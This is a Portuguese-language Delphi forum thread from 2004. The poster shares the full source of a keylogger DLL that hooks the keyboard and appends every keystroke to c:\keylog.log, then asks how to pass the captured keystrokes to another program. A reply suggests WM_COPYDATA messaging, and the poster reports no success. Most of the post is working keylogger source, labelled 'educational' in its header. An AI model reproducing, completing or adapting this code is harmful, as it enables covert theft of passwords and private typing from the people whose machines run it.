Como Pegar Dados Dessa DLL ???
Alguem Poderia me ensinar como faço para pegar os dados dessa DLL, e por Numa Memo, en Outro Programa.
O Codigo Abaixo gera um arquivo, direto de dendro da dll e grava no HD.
Tentei de varias maneiras, mas não consegui.
Agradeço pela ajudinha...
O Codigo Abaixo gera um arquivo, direto de dendro da dll e grava no HD.
Tentei de varias maneiras, mas não consegui.
Agradeço pela ajudinha...
library keylogf;
{******************************************************************************
Favor não retirar esse comentário do código.
keylogf foi desenvolvido por: Richard de Jesus Natal
Este código é freeware e foi desenvolvido com propósitos educacionais somente.
O Autor não se responsabiliza por qualquer uso indevido do código contido aqui.
Bom divertimento.
******************************************************************************}
uses
Windows,
SysUtils;
{$R *.RES}
const
arq:string=´c:\keylog.log´;
function KeyboardHookProc(code:Integer;wParam:WPARAM;lParam:LPARAM):LRESULT stdcall;
var
b1,b2:Boolean;
ArqLog:TextFile;
tecla:String[255];
begin
if (code <> HC_NOREMOVE)and(lParam<0) then begin
AssignFile(ArqLog,arq);
try
if fileexists(arq) then
Append(ArqLog)
else
ReWrite(ArqLog);
case wParam of
VK_SHIFT, VK_CAPITAL, VK_MENU:begin
//ignore estas teclas
end;
VK_BACK:begin
Write(ArqLog,´[BKSP]´);
end;
VK_TAB:begin
Write(ArqLog,´[TAB]´);
end;
VK_RETURN:begin
WriteLN(ArqLog,´[ENTER]´);
end;
VK_ESCAPE:begin
Write(ArqLog,´[ESC]´);
end;
32..64:begin
Write(ArqLog,chr(Byte(wParam)));
end;
65..90:begin// todas as letras
b1:=GetKeyState(VK_SHIFT)<0; // verifica se o Shift está pressionado
b2:=GetKeyState(VK_CAPITAL)=1;// Verifica o status do Caps_Lock
if (b1 = b2) then // se o shift estiver com um status igual ao do caps_lock
Write(ArqLog,chr(Byte(wParam+32))) // coloca em minusculo
else
Write(ArqLog,chr(Byte(wParam)));
end;
VK_NUMPAD0..VK_NUMPAD9:begin
Write(ArqLog,chr(Byte(wParam-VK_NUMPAD0+48)));
end;
else begin
tecla:=´´;
GetKeyNameText(LParam,@tecla[1],254);
Write(ArqLog,´[´+tecla+´]´);
end;
end;
Flush(ArqLog);
finally
CloseFile(ArqLog);
end;
end;
Result := CallNextHookEx(HHOOK(nil), code, wParam, lParam);
end;
exports
KeyboardHookProc;
begin
end.
Alves
Curtidas 0
Respostas
Nildo
29/04/2004
Você tem que utilizar o recurso de enviar mensagens para um Handle. Vai precisar utilizar, não me lembro muito bem se era o SendMessage ou o PostMessage, junto com a mensagem WM_COPYDATA, enviando um TCopyDataStruct
GOSTEI 0
Alves
29/04/2004
Legal, vamos ver se agora consigo.
Valeu
Valeu
GOSTEI 0
Alves
29/04/2004
Olha Gente, não deu... andei pesquisando no help do delphi mas nao tem exemplos de como usar, SendMessage ou o PostMessage, W_COPYDATA, e TCopyDataStruct.
Mesmo q conseguise como pegaria os dados exportados...
Mesmo q conseguise como pegaria os dados exportados...
GOSTEI 0